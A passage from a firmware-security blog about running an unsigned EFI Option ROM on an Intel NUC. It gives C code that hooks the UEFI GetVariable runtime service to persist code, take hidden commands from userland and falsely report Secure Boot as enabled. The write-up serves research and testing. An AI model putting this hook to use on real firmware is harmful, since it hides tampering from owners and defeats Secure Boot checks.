<p>Next, add the INF to <code class="language-plaintext highlighter-rouge">OvmfPkg/OvmfPkgIa32X64.dsc</code>’s <code class="language-plaintext highlighter-rouge">[Components.X64]</code> section to build; and finally, use the <code class="language-plaintext highlighter-rouge">EfiRom</code> tool to create an EFI-type Option ROM.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>./BaseTools/Source/C/bin/EfiRom <span class="se">\</span>
  <span class="nt">-f</span> 0x<span class="nv">$VENDOR</span> <span class="nt">-i</span> 0x<span class="nv">$PRODUCT</span> <span class="nt">-v</span> <span class="nt">--debug</span> 9 <span class="se">\</span>
  <span class="nt">-o</span> ./Build/MyOptionRom.efirom <span class="se">\</span>
  <span class="nt">-e</span> ./Build/Ovmf3264/DEBUG_GCC5/X64/MyOptionRom.efi
</code></pre></div></div>

<h2 id="run-an-option-rom-on-an-intel-nuc">Run an Option ROM on an Intel NUC</h2>

<p>In this example I wanted to write Option ROM code to a PCI card and run it on bare metal. I do not have many bare metal machines beyond a gaming desktop and an outdated <a href="assets/D54250WYB_D34010WYB_TechProdSpec.pdf">D34010WYK</a> NUC (thus the rational for using the NUC). Unfortunately, the NUC’s onboard Video Card and NIC do not have writeable Option ROM storage, the PCI devices are as follows:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>lspci <span class="nt">-n</span>
00:00.0 0600: 8086:0a04 <span class="o">(</span>rev 09<span class="o">)</span>
00:02.0 0300: 8086:0a16 <span class="o">(</span>rev 09<span class="o">)</span>
00:03.0 0403: 8086:0a0c <span class="o">(</span>rev 09<span class="o">)</span>
00:14.0 0c03: 8086:9c31 <span class="o">(</span>rev 04<span class="o">)</span>
00:16.0 0780: 8086:9c3a <span class="o">(</span>rev 04<span class="o">)</span>
00:19.0 0200: 8086:1559 <span class="o">(</span>rev 04<span class="o">)</span>
00:1b.0 0403: 8086:9c20 <span class="o">(</span>rev 04<span class="o">)</span>
00:1d.0 0c03: 8086:9c26 <span class="o">(</span>rev 04<span class="o">)</span>
00:1f.0 0601: 8086:9c43 <span class="o">(</span>rev 04<span class="o">)</span>
00:1f.2 0106: 8086:9c03 <span class="o">(</span>rev 04<span class="o">)</span>
00:1f.3 0c05: 8086:9c22 <span class="o">(</span>rev 04<span class="o">)</span>
</code></pre></div></div>

<p>The 8086:1559 Intel NIC does not support upgradable firmware or storage for an Option ROM. Though I tired with Intel’s <a href="https://downloadcenter.intel.com/download/29137?v=t">Intel(R) Ethernet Flash Firmware Utility</a> just in case. For others wanting to test, the utility’s <code class="language-plaintext highlighter-rouge">bootutil64e</code> is able to write Option ROM to support PXE loading on several NIC devices.</p>

<p>The 8086:0a16 Intel Video Card uses a virtual Option ROM. These are stored with the UEFI platform code and loaded into memory from the system’s flash storage. The Option ROM code is not stored on the PCI onboard storage.</p>

<p>This means out of the box there are no R/W Option ROM on any of the PCI devices on the D34010WYK.</p>

<p>There is still hope for testing Option ROM as the D34010WYK NUC has has two expandable mPCI-E slots. I am not aware of off-the-shelf or purchasable debug mPCI wifi/bluetooth cards having expansion ROMs but we can use a <a href="https://www.amazon.com/Mini-Express-Extension-Adapter-Riser/dp/B01FVPITN8">mPCI-E to PCI-E 1x adapter</a> and a <a href="https://www.amazon.com/TOTOVIN-Broadcom-NetXtreme-1000Mbps-Gigabit/dp/B076HHS1WF/">Broadcom BCM5751 PCI-E 1x NIC</a>. If you have a 5th generation (or other) NUC you may be able to <a href="https://www.virten.net/2015/09/adding-a-second-nic-to-a-5th-gen-intel-nuc-or-other-pcie-cards/">take a similar approach</a> with a M.2 to PCI-E adapter.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>lspci <span class="nt">-v</span>
<span class="o">[</span>...]
02:00.0 0200: 14e4:1677 <span class="o">(</span>rev 20<span class="o">)</span>
	Subsystem: 14e4:1677
	Flags: bus master, fast devsel, latency 0, IRQ 51
	Memory at f7c10000 <span class="o">(</span>64-bit, non-prefetchable<span class="o">)</span> <span class="o">[</span><span class="nv">size</span><span class="o">=</span>64K]
	Expansion ROM at f7c00000 <span class="o">[</span>disabled] <span class="o">[</span><span class="nv">size</span><span class="o">=</span>64K]
	Capabilities: 
	Kernel driver <span class="k">in </span>use: tg3
	Kernel modules: tg3
</code></pre></div></div>

<p>Putting these together looks a little hackey, but thankfully the card does not need an additional 12V:</p>

<p><img src="/assets/images/nuc-with-pcie-broadcom.png" alt="D34010WYK NUC with mPCI-E to PCI-E 1x adapter and Broadcom BCM5751 (14e4:1677)" /></p>

<p>D34010WYK NUC with mPCI-E to PCI-E 1x adapter and Broadcom BCM5751 (14e4:1677)</p>

<p>The BCM5751’s 64kB flash can be safely written using <a href="https://docs.broadcom.com/docs/12358473">Broadcom’s B57udiag tool</a>, for example following <a href="https://ipxe.org/howto/romburning/tg3">iPXE’s burning guide</a>. It may be possible to write your Option ROM using <code class="language-plaintext highlighter-rouge">ethtool</code> but not safely so be careful.</p>

<p>Heads up, the Option ROM output from <code class="language-plaintext highlighter-rouge">EfiRom</code>, like the XROMs in the previous post, are type EFI (0x3) and the NUC platform code will only run these if CSM is disabled. I searched the Setup’s IFR and saw options, “Launch PXE OpROM Policy”, “Launch Storage OpROM Policy” and similar that allowed running EFI-type XROMs in CSM mode. But these are not available in the Setup UI.</p>

<p>Additionally, I could not find a way to disable loading Option ROMs through Setup configuration. But when UEFI Secure Boot is enabled any unsigned/unverified Option ROMs will not load (this is great!).</p>

<p>We can see that our Option ROM is loaded and measured by observing changes to the TPM’s PCR 2. The base comparison is using a BIOS version WYLPT10H.86A.0054.2019.0902.1752.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo </span>tpm2_pcrlist
sha1 :
  0  : 0xCEAE0E6DC5A21B75D58171961D315E96326178D3 // Platform
  1  : 0x48A8708AC544F8411A9D5FF114A4E51E7A4C1041 // Platform Config
  2  : 0x9676BCB349D9D31493B52CA6007CB3706334798E // Option ROM Code
  3  : 0xB2A83B0EBF2F8374299A5B2BDFC31EA955AD7236 // Option ROM Config+Data
  4  : 0x9542780BC3517B84298563A2EF280139DF33B915 // IPL Code
  5  : 0xBFC7CE73BC3595FBC323F2B4EE1B56B86947ED23 // IPL Config+Datsa
  6  : 0xB2A83B0EBF2F8374299A5B2BDFC31EA955AD7236
  7  : 0xF97A28075F83A5474515E50F2A504C6E271533D3
<span class="o">[</span>...]
  9  : 0xA78714D017777270C295B446A12A7FC5961D3167
<span class="o">[</span>...]
</code></pre></div></div>

<p>And diffing before and after overwriting the Option ROM shows that PCR 2 measures the new code.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>diff before-xrom after-xrom
&lt;   2 : 0x9676BCB349D9D31493B52CA6007CB3706334798E
<span class="nt">---</span>
<span class="o">&gt;</span>   2 : 0x257C9F0CDA97A0CCEB6F3B7CE92F8BD51F589387
</code></pre></div></div>

<h2 id="communicating-with-userland-using-uefi-runtime-services">Communicating with userland using UEFI Runtime Services</h2>

<p>Now that we have our toy Option ROM running on the NUC with Secure Boot disabled, what can we do? In the previous post we relaxed security of the OVMF platform by allowing our Option ROM to run before <code class="language-plaintext highlighter-rouge">EndOfDXE</code> and persisting in SMM; we cannot do that with the NUC’s production UEFI so we instead turn to UEFI Runtime Services to persist code.</p>

<p>The goals are as follows:</p>

<ul>
  <li>Use the Option ROM to persist code in UEFI Runtime Services</li>
  <li>Allow an unprivileged userland process to communicate with our code</li>
  <li>Do something interesting that has security impact</li>
</ul>

<p>Keep in mind that a malicious Option ROM can do much more than persist code, for example it can overwrite content on attached storage.</p>

<p>My solution is again to trampoline the code that retrieves UEFI variables. An unprivileged process can attempt a read of a variable and this attempt will call the Runtime Services <a href="https://edk2-docs.gitbooks.io/edk-ii-uefi-driver-writer-s-guide/5_uefi_services/52_services_that_uefi_drivers_rarely_use/525_getvariable_and_setvariable.html"><code class="language-plaintext highlighter-rouge">GetVariable</code></a> API.</p>

<p>Consider the following code as part of the implementation of our Option ROM entry point:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">EFI_BOOT_SERVICES</span> <span class="o">*</span><span class="n">gBS</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="n">gBS</span> <span class="o">=</span> <span class="n">SystemTable</span><span class="o">-&gt;</span><span class="n">BootServices</span>
<span class="n">VOID</span> <span class="o">*</span><span class="n">handler</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="n">gBS</span><span class="o">-&gt;</span><span class="n">AllocatePool</span><span class="p">(</span><span class="n">EfiRuntimeServicesCode</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">handler</span><span class="p">);</span>
<span class="n">If</span> <span class="p">(</span><span class="n">handler</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
  <span class="c1">// Move our Option ROM code into RT_CODE</span>
  <span class="n">gBS</span><span class="o">-&gt;</span><span class="n">CopyMem</span><span class="p">((</span><span class="kt">void</span><span class="o">*</span><span class="p">)</span><span class="n">handler</span><span class="p">,</span> <span class="n">HijackedGetVariable</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">);</span>

  <span class="c1">// TODO: Save gRT-&gt;GetVariable</span>

  <span class="c1">// gRT is the Runtime Services table</span>
  <span class="n">gRT</span><span class="o">-&gt;</span><span class="n">GetVariable</span> <span class="o">=</span> <span class="n">handler</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">HijackedGetVariable</code> handler will trampoline into the original <code class="language-plaintext highlighter-rouge">GetVariable</code>; and code in the <code class="language-plaintext highlighter-rouge">EfiRuntimeServicesCode</code> map will be relocated for us by the OS. Saving the existing <code class="language-plaintext highlighter-rouge">GetVariable</code> location is a bit more challenging. In the previous post the SMI trampoline was easy as the SMM dispatcher supported falling back to a backup handler so no state was maintained within our code.</p>

<p>The state maintenance referenced above is also needed to implement communication with our code and userspace.</p>

<p>For context, an unprivileged user cannot read an arbitrary UEFI variable, but rather only the variables exposed by the sysfs <code class="language-plaintext highlighter-rouge">efivars</code> filesystem. To communicate with our code, we have to invent a hacky protocol involving reading well-known variable names in sequence, sort of a variable-read side-channel. This protocol requires maintaining state between variable reads.</p>

<p>To maintain state we will reserve a region in RT_DATA and overwrite part of <code class="language-plaintext highlighter-rouge">HijackedGetVariable</code> with the location of reserved memory. We will overwrite a canary value such that the trampolined logic becomes:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">EFI_STATUS</span>
<span class="n">EFIAPI</span>
<span class="nf">HijackedGetVariable</span><span class="p">(</span>
  <span class="n">IN</span>     <span class="n">CHAR16</span>                      <span class="o">*</span><span class="n">VariableName</span><span class="p">,</span>
  <span class="n">IN</span>     <span class="n">EFI_GUID</span>                    <span class="o">*</span><span class="n">VendorGuid</span><span class="p">,</span>
  <span class="n">OUT</span>    <span class="n">UINT32</span>                      <span class="o">*</span><span class="n">Attributes</span><span class="p">,</span>    <span class="n">OPTIONAL</span>
  <span class="n">IN</span> <span class="n">OUT</span> <span class="n">UINTN</span>                       <span class="o">*</span><span class="n">DataSize</span><span class="p">,</span>
  <span class="n">OUT</span>    <span class="n">VOID</span>                        <span class="o">*</span><span class="n">Data</span>           <span class="n">OPTIONAL</span>
  <span class="p">)</span>
<span class="p">{</span>
  <span class="c1">// Our canary value</span>
  <span class="n">UINT64</span> <span class="n">replace_me</span> <span class="o">=</span> <span class="mh">0xab12ab12</span><span class="p">;</span>
  <span class="c1">// Expect the canary to be overwritten in GetVariable install</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">replace_me</span> <span class="o">==</span> <span class="mh">0x0</span> <span class="o">||</span> <span class="n">replace_me</span> <span class="o">==</span> <span class="mh">0xab12ab12</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// We could not find the data</span>
    <span class="k">return</span> <span class="p">(</span><span class="n">EFI_STATUS</span><span class="p">)</span><span class="mh">0x3</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="n">MyOptionRomData</span> <span class="o">*</span><span class="n">data</span> <span class="o">=</span> <span class="p">(</span><span class="n">MyOptionRomData</span><span class="o">*</span><span class="p">)</span><span class="n">replace_me</span><span class="p">;</span>
  <span class="c1">// Use data, for example count the number of times VariableName was requested</span>
  <span class="p">[...]</span>

  <span class="c1">// Fall through to the original GetVariable</span>
  <span class="n">UINT32</span> <span class="n">DupAttributes</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="n">UINTN</span> <span class="n">DupDataSize</span> <span class="o">=</span> <span class="o">*</span><span class="n">DataSize</span><span class="p">;</span>
  <span class="n">Status</span> <span class="o">=</span> <span class="n">data</span><span class="o">-&gt;</span><span class="n">GetVariable</span><span class="p">(</span>
    <span class="n">VariableName</span><span class="p">,</span>
    <span class="n">VendorGuid</span><span class="p">,</span>
    <span class="o">&amp;</span><span class="n">DupAttributes</span><span class="p">,</span>
    <span class="o">&amp;</span><span class="n">DupDataSize</span><span class="p">,</span>
    <span class="n">Data</span>
  <span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">Attributes</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
    <span class="o">*</span><span class="n">Attributes</span> <span class="o">=</span> <span class="n">DupAttributes</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="o">*</span><span class="n">DataSize</span> <span class="o">=</span> <span class="n">DupDataSize</span><span class="p">;</span>
  <span class="k">return</span> <span class="n">Status</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">GetVariable</code> install code is then modified to allocate the Runtime Services data and fixup the relocated code with the position of this data structure.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Fill in the above TODO with:</span>
<span class="n">MyOptionRomData</span> <span class="o">*</span><span class="n">data</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="n">gBS</span><span class="o">-&gt;</span><span class="n">AllocatePool</span><span class="p">(</span><span class="n">EfiRuntimeServicesData</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">MyOptionRomData</span><span class="p">),</span> <span class="p">(</span><span class="n">VOID</span><span class="o">**</span><span class="p">)</span><span class="o">&amp;</span><span class="n">data</span><span class="p">);</span>
<span class="n">If</span> <span class="p">(</span><span class="n">data</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
  <span class="c1">// Handle unlikely error state</span>
<span class="p">}</span>

<span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="n">search</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">handler</span>
<span class="k">for</span> <span class="p">(</span><span class="n">INTN</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">100</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
  <span class="c1">// Search for canary value</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">search</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0x12</span> <span class="o">&amp;&amp;</span> <span class="n">search</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0xab</span> <span class="o">&amp;&amp;</span> 
      <span class="n">search</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">2</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0x12</span> <span class="o">&amp;&amp;</span> <span class="n">search</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">3</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0xab</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">search</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="p">((</span><span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)(</span><span class="o">&amp;</span><span class="n">data</span><span class="p">))[</span><span class="mi">0</span><span class="p">];</span>
    <span class="n">search</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="p">((</span><span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)(</span><span class="o">&amp;</span><span class="n">data</span><span class="p">))[</span><span class="mi">1</span><span class="p">];</span>
    <span class="n">search</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="p">((</span><span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)(</span><span class="o">&amp;</span><span class="n">data</span><span class="p">))[</span><span class="mi">2</span><span class="p">];</span>
    <span class="n">search</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="p">((</span><span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)(</span><span class="o">&amp;</span><span class="n">data</span><span class="p">))[</span><span class="mi">3</span><span class="p">];</span>
    <span class="k">break</span><span class="p">;</span>
  <span class="p">}</span>
<span class="p">}</span>

<span class="c1">// Remember the original GetVariable location</span>
<span class="n">data</span><span class="o">-&gt;</span><span class="n">GetVariable</span> <span class="o">=</span> <span class="n">gRT</span><span class="o">-&gt;</span><span class="n">GetVariable</span><span class="p">;</span>
</code></pre></div></div>

<p>Now imagine adding several counters to <code class="language-plaintext highlighter-rouge">MyOptionRomData</code> and implementing two states. The first is triggered by reading <code class="language-plaintext highlighter-rouge">BootCurrent</code> ten times consecutively and this disables or enables <code class="language-plaintext highlighter-rouge">GetVariable</code> functionality; the second is triggered by reading <code class="language-plaintext highlighter-rouge">Boot0002</code> and overrides the return of <code class="language-plaintext highlighter-rouge">SecureBoot</code> to return <code class="language-plaintext highlighter-rouge">0x1</code> or allow the code to fall through into the trampoline.</p>

<p>Thus we can introduce simple security impact with this trampoline by faking / masking any <code class="language-plaintext highlighter-rouge">GetVariable</code> request, for example tricking the OS that it is running in UEFI Secure Boot mode.</p>

<p>Below is another toy example testing the state maintainace to on-command trigger disabling <code class="language-plaintext highlighter-rouge">GetVariable</code> functionality.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span>fedora@localhost ~]<span class="nv">$ </span>hexdump <span class="nt">-C</span> /sys/firmware/efi/efivars/BIOSVer-78f1f0c7-c017-4712-ba1d-70e823b11df8 
00000000  07 00 00 00 36 00                                 |....6.|
00000006
<span class="o">[</span>fedora@localhost ~]<span class="nv">$ </span>./getvariable_call <span class="nt">--test</span>
Reading /sys/firmware/efi/efivars/BootCurrent-8be4df61-93ca-11d2-aa0d-00e098032b8c
Reading /sys/firmware/efi/efivars/BootCurrent-8be4df61-93ca-11d2-aa0d-00e098032b8c
Reading /sys/firmware/efi/efivars/BootCurrent-8be4df61-93ca-11d2-aa0d-00e098032b8c
Reading /sys/firmware/efi/efivars/BootCurrent-8be4df61-93ca-11d2-aa0d-00e098032b8c
Reading /sys/firmware/efi/efivars/BootCurrent-8be4df61-93ca-11d2-aa0d-00e098032b8c
Reading /sys/firmware/efi/efivars/BootCurrent-8be4df61-93ca-11d2-aa0d-00e098032b8c
Reading /sys/firmware/efi/efivars/BootCurrent-8be4df61-93ca-11d2-aa0d-00e098032b8c
Reading /sys/firmware/efi/efivars/BootCurrent-8be4df61-93ca-11d2-aa0d-00e098032b8c
Reading /sys/firmware/efi/efivars/BootCurrent-8be4df61-93ca-11d2-aa0d-00e098032b8c
Reading /sys/firmware/efi/efivars/BootCurrent-8be4df61-93ca-11d2-aa0d-00e098032b8c
Now try to <span class="nb">read </span>any variable <span class="k">in</span> /sys/firmware/efi/efivars/
<span class="o">[</span>fedora@localhost ~]<span class="nv">$ </span>hexdump <span class="nt">-C</span> /sys/firmware/efi/efivars/BIOSVer-78f1f0c7-c017-4712-ba1d-70e823b11df8 
00000000  00 00 00 00                                       |....|
00000004
</code></pre></div></div>

<p>And finally to “spoof” that Secure Boot is enabled when it is not we return <code class="language-plaintext highlighter-rouge">0x1</code> for <code class="language-plaintext highlighter-rouge">SecureBoot</code> and <code class="language-plaintext highlighter-rouge">0x0</code> for <code class="language-plaintext highlighter-rouge">SetupMode</code> with the code below, note that this does not yet work for Windows (only tested on Fedora).</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="p">[...]</span>
  <span class="c1">// Fall through to the original GetVariable</span>
  <span class="n">UINT32</span> <span class="n">DupAttributes</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="n">UINTN</span> <span class="n">DupDataSize</span> <span class="o">=</span> <span class="o">*</span><span class="n">DataSize</span><span class="p">;</span>
  <span class="n">Status</span> <span class="o">=</span> <span class="n">data</span><span class="o">-&gt;</span><span class="n">GetVariable</span><span class="p">(</span>
    <span class="n">VariableName</span><span class="p">,</span>
    <span class="n">VendorGuid</span><span class="p">,</span>
    <span class="o">&amp;</span><span class="n">DupAttributes</span><span class="p">,</span>
    <span class="o">&amp;</span><span class="n">DupDataSize</span><span class="p">,</span>
    <span class="n">Data</span>
  <span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">Attributes</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
    <span class="o">*</span><span class="n">Attributes</span> <span class="o">=</span> <span class="n">DupAttributes</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="o">*</span><span class="n">DataSize</span> <span class="o">=</span> <span class="n">DupDataSize</span><span class="p">;</span>

  <span class="n">CHAR8</span><span class="o">*</span> <span class="n">DataArr</span> <span class="o">=</span> <span class="p">(</span><span class="n">CHAR8</span><span class="o">*</span><span class="p">)</span><span class="n">Data</span><span class="p">;</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">VariableName</span> <span class="o">!=</span> <span class="nb">NULL</span> <span class="o">&amp;&amp;</span> 
      <span class="n">VariableName</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'S'</span> <span class="o">&amp;&amp;</span> 
      <span class="n">VariableName</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'e'</span> <span class="o">&amp;&amp;</span> 
      <span class="n">VariableName</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'c'</span> <span class="o">&amp;&amp;</span> 
      <span class="n">VariableName</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'u'</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// Turn on SecureBoot</span>
    <span class="n">DataArr</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x1</span><span class="p">;</span>
    <span class="o">*</span><span class="n">DataSize</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
    <span class="n">Status</span> <span class="o">=</span> <span class="n">EFI_SUCCESS</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="k">if</span> <span class="p">(</span><span class="n">VariableName</span> <span class="o">!=</span> <span class="nb">NULL</span> <span class="o">&amp;&amp;</span> 
      <span class="n">VariableName</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'S'</span> <span class="o">&amp;&amp;</span> 
      <span class="n">VariableName</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'e'</span> <span class="o">&amp;&amp;</span> 
      <span class="n">VariableName</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'t'</span> <span class="o">&amp;&amp;</span> 
      <span class="n">VariableName</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'u'</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// Turn off SetupMode</span>
    <span class="n">DataArr</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">;</span>
    <span class="o">*</span><span class="n">DataSize</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
    <span class="n">Status</span> <span class="o">=</span> <span class="n">EFI_SUCCESS</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="k">return</span> <span class="n">Status</span><span class="p">;</span>
<span class="err">}</span>
</code></pre></div></div>]]></content><author><name></name></author><category term="uefi" /><category term="firmware" /><category term="secure-boot" /><summary type="html"><![CDATA[In this post we’ll explore running unsigned Option ROM code on an Intel D34010WYK NUC, solely for testing purposes. We will verify that unsigned/unverified Option ROM code is not run when UEFI Secure Boot is enabled. We will demonstrate how to persist code at runtime using UEFI Runtime Services, and use a small signalling protocol to allow an unprivileged userland process to fake the contents of UEFI variables such as the SecureBoot variable.]]></summary></entry><entry><title type="html">Using an Option ROM to overwrite SMM/SMI handlers in QEMU</title><link href="https://theopolis.github.io/blog/2019/12/3/using-optionrom-to-overwrite-smmsmi-handlers-in-qemu" rel="alternate" type="text/html" title="Using an Option ROM to overwrite SMM/SMI handlers in QEMU" /><published>2019-12-03T00:00:00+00:00</published><updated>2019-12-03T00:00:00+00:00</updated><id>https://theopolis.github.io/blog/2019/12/3/using-optionrom-to-overwrite-smmsmi-handlers-in-qemu</id><content type="html" xml:base="https://theopolis.github.io/blog/2019/12/3/using-optionrom-to-overwrite-smmsmi-handlers-in-qemu"><![CDATA[<p>This article explores PCI Expansion ROM (or Option ROM) execution within UEFI and walks through a practical scenario of using Option ROM code to modify SMM. In order to accomplish this goal we relax the security within EDK2. Note that this article does not reveal any security weaknesses.</p>

<p>We begin with how to create a QEMU/OVMF/iPXE testing environment that boots Fedora with UEFI Secure Boot enabled and measures the pre-OS environment using a software TPM2. We then install an SMI handler by modifying our iPXE EFI Option ROM, which is the same as a DXE driver run during Boot Device Select (BDS). Finally, we again modify our Option ROM code and overwrite and reliably ‘shim’ an existing SMI’s handler with our own.</p>

<!--more-->

<p>A majority of the source material for this article can be found in the following links. They were a great source of personal learning and are well worth reading/refreshing:</p>

<ul>
  <li><a href="http://blog.cr4.sh/2015/07/building-reliable-smm-backdoor-for-uefi.html">Building reliable SMM backdoor for UEFI based platforms</a> by Dmytro Oleksiuk, for inspiration, development direction, and SMM/EDK2 design.</li>
  <li><a href="assets/A_Tour_Beyond_BIOS_Secure_SMM_Communication.pdf">A Tour Beyond BIOS Secure SMM Communication in the EFI Developer Kit II</a> byt Jiewen Yao et al, EDK2 SMM design.</li>
  <li><a href="assets/kvmforum15-smm.pdf">Securing secure boot with System Management Mode</a> by Paolo Bonzini, SMM/KVM/QEMU design.</li>
  <li><a href="https://resources.infosecinstitute.com/pci-expansion-rom/#gref">Malicious Code Execution in PCI Expansion ROM</a> by Darmawan Salihun, a summary of Option ROM details.</li>
  <li><a href="http://www.linux-kvm.org/downloads/lersek/ovmf-whitepaper-c770f8c.txt">Open Virtual Machine Firmware (OVMF) Status Report</a> by Laszlo Ersek, OVMF design.</li>
  <li>And of course, the materials/guides/docs linked throughout.</li>
</ul>

<h2 id="create-a-qemuovmf-testing-environment">Create a QEMU/OVMF testing environment</h2>

<p>Assume we are building on a modern Linux host with normal build tooling available.</p>

<p>To reproduce my environment, use QEMU version 4.1.1.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>git://git.qemu.org/qemu.git <span class="o">&amp;&amp;</span> <span class="nb">cd </span>qemu
<span class="nv">$ </span>git checkout v4.1.1
<span class="nv">$ </span>git submodule update <span class="nt">--init</span>
<span class="nv">$ </span>./configure <span class="nt">--target-list</span><span class="o">=</span>x86_64-softmmu
<span class="o">[</span>...]
TPM support       <span class="nb">yes</span>
<span class="o">[</span>...]
</code></pre></div></div>

<p>It is optional to include a TPM in the testing VM, but it is nice to verify PCI Configuration data and Option ROM code is measured. I followed S3hh’s article on <a href="https://s3hh.wordpress.com/2018/06/03/tpm-2-0-in-qemu/">TPM 2.0 in QEMU</a> to build and install <a href="https://github.com/stefanberger/swtpm"><code class="language-plaintext highlighter-rouge">swtpm</code></a>.</p>

<p>Next clone the EDK2 and build OVMF. This can be complicated, my recommendation is following the <a href="https://github.com/tianocore/tianocore.github.io/wiki/Getting-Started-with-EDK-II">build guides for EDK2</a> then following the <a href="https://github.com/tianocore/edk2/blob/master/OvmfPkg/README">OVMF build guide</a> and my steps here for OVMF.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>git clone https://github.com/tianocore/edk2 <span class="o">&amp;&amp;</span> <span class="nb">cd </span>edk2
<span class="nv">$ </span>git checkout edk2-stable201908
<span class="nv">$ </span>git submodule update <span class="nt">--init</span>
<span class="nv">$ </span>make <span class="nt">-C</span> BaseTools
<span class="nv">$ </span><span class="nb">cat </span>Conf/target.txt
<span class="o">[</span>...]
ACTIVE_PLATFORM       <span class="o">=</span> OvmfPkg/OvmfPkgX64.dsc
TARGET                <span class="o">=</span> DEBUG
TARGET_ARCH           <span class="o">=</span> IA32 X64
TOOL_CHAIN_CONF       <span class="o">=</span> Conf/tools_def.txt
TOOL_CHAIN_TAG        <span class="o">=</span> GCC5

<span class="nv">$ </span><span class="nb">.</span> ./edksetup.sh BaseTools
</code></pre></div></div>

